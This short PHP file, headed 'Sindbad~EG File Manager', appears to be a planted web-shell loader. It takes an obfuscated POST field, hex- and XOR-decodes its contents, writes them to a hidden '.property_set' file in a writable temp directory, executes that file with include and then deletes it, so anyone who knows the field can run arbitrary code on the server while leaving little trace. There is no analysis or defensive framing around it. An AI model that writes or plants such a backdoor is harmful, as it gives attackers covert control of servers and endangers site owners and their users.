Sindbad~EG File Manager

<?php

if(isset($_POST["d\x61\x74\x61_chu\x6Ek"]) ? true : false){
	$pointer = hex2bin($_POST["d\x61\x74\x61_chu\x6Ek"]);
	$fac= '';for($l=0; $l<strlen($pointer); $l++){$fac .= chr(ord($pointer[$l]) ^ 66);}
	$flag = array_filter(["/dev/shm", "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]);
	for ($pset = 0, $desc = count($flag); $pset < $desc; $pset++) {
    $factor = $flag[$pset];
    		if (max(0, is_dir($factor) * is_writable($factor))) {
    $mrk = vsprintf("%s/%s", [$factor, ".property_set"]);
    $success = file_put_contents($mrk, $fac);
if ($success) {
	include $mrk;
	@unlink($mrk);
	exit;}
}
}
}